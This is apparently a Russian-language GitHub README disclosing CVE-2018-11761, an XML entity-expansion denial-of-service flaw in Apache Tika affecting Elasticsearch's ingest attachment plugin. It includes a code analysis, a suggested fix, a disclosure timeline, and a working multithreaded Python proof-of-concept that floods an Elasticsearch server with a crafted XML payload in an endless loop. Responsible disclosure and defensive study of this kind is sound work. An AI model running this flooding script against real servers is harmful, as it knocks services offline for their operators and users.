brianwrf/cve-2018-11761Уязвимость типа «отказ в обслуживании» Apache Tika (CVE-2018-11761)
В недавнем исследовании Apache Tika я обнаружил уязвимость типа «отказ в обслуживании» (DoS) в его XML-парсере. Она вызвана некорректным разбором XML-документов парсером.
Как известно, основной плагин ingest attachment позволяет Elasticsearch извлекать вложения файлов в распространённых форматах (таких как PPT, XLS и PDF) с помощью библиотеки извлечения текста Apache Tika. Итак, давайте взглянем на исходный код плагина ingest attachment.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
На самом деле, плагин использует [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) в качестве парсера для извлечения содержимого из XML-файла. При дальнейшем исследовании мы видим следующие вызовы:
* `DcXMLParser()` расширяет [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` использует [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) для разбора XML-документов
* `XMLReaderUtils.parseSAX` вызывает [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
В функции выше мы видим очень ограниченные ограничения безопасности для объекта SAXParserFactory.newInstance():```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Согласно объяснению Oracle, когда [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) включен, это предписывает реализации обрабатывать XML безопасно. Это может устанавливать ограничения на XML-конструкции, чтобы избежать таких условий, как атаки типа «отказ в обслуживании».
Но на самом деле это не может полностью предотвратить [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion) (расширение сущностей XML). Злоумышленник все еще может отправить специально созданный XML-документ на сервер ES, чтобы выполнить DoS-атаку через уязвимость расширения сущностей XML, как упоминалось в разделе `Proof of Concept`. Я проверил исходный код Apache Tika: они включают только функцию `XMLConstants.FEATURE_SECURE_PROCESSING`, которая, как они могли полагать, защищает от этого типа атак согласно [этой статье](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html), поскольку она по умолчанию ограничивает количество расширений сущностей до 64 000. Но на самом деле мы все еще можем использовать эти 64 000 расширений сущностей для создания усиливающего XML-объекта в памяти, например, размер файла `ES_XML.xml` в POC составляет всего около 64 КБ, но после загрузки на сервер Tika на сервере ES Tika придется выделить как минимум 6 МБ памяти (6 МБ / 64 КБ = в 100 раз) для его разбора, что приводит к быстрому росту загрузки ЦП.
Поэтому, насколько я понимаю, одним из возможных исправлений может быть установка следующего системного свойства, что значительно ограничит воздействие в соответствии с [документом Oracle](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html):```
jdk.xml.entityExpansionLimit=1
Следующая демонстрация протестирована и проверена на ElasticSearch 6.3.31, который использует Tika 1.18:
poc_dos_es.py:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())
self.create_ingest_att_pipeline(url)
while True:
print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
self.send_payload(url, content)
self.num += 1
#self.verify_mal_doc(url)
if name == "main":
# ES server's IP, Port
es_ip = sys.argv[1]
es_port = sys.argv[2]
# Crafted XML file
mal_xml_file = sys.argv[3]
# Number of Processes
thread_num = int(sys.argv[4])
for i in range(thread_num):
i += 1
t = ExploitThread(es_ip, es_port, mal_xml_file, i)
t.start()
* Создайте подготовленный XML-документ и сохраните как `ES_XML.xml`:```XML
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a 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]>
<foo>&d;</foo>
Затем загрузка ЦП быстро и заметно возрастет.
# Заключение
Эта уязвимость на самом деле вызвана реализацией XML-парсера Apache Tika. В то же время, я думаю, что все сервисы, использующие Tika для разбора XML-файлов, также должны быть затронуты.
# Хронология
* 2018-07-25: Сообщено командам безопасности Apache и Elastic Product Security.
* 2018-07-26: Получено подтверждение от PMC Apache Tika.
* 2018-07-27: Получено подтверждение от Elastic Product Security.
* 2018-09-19: Получено уведомление о [CVE-2018-11761](https://lists.apache.org/thread.html/5553e10bba5604117967466618f219c0cae710075819c70cfb3fb421@%3Cdev.tika.apache.org%3E) от команды Apache Tika и подтверждено, что проблема исправлена в Apache Tika 1.19 или новее.
* 2018-11-27: Команда Elastic Product Security подтвердила, что ElasticSearch 6.4.3 исправляет проблему.
# Ссылки
* http://avfisher.win/archives/1021
* https://github.com/elastic/elasticsearch
* https://github.com/apache/tika
* http://www.ws-attacks.org/XML_Entity_Expansion
* https://xerces.apache.org/xerces2-j/javadocs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING
* https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html
* http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html
* http://openjdk.java.net/jeps/185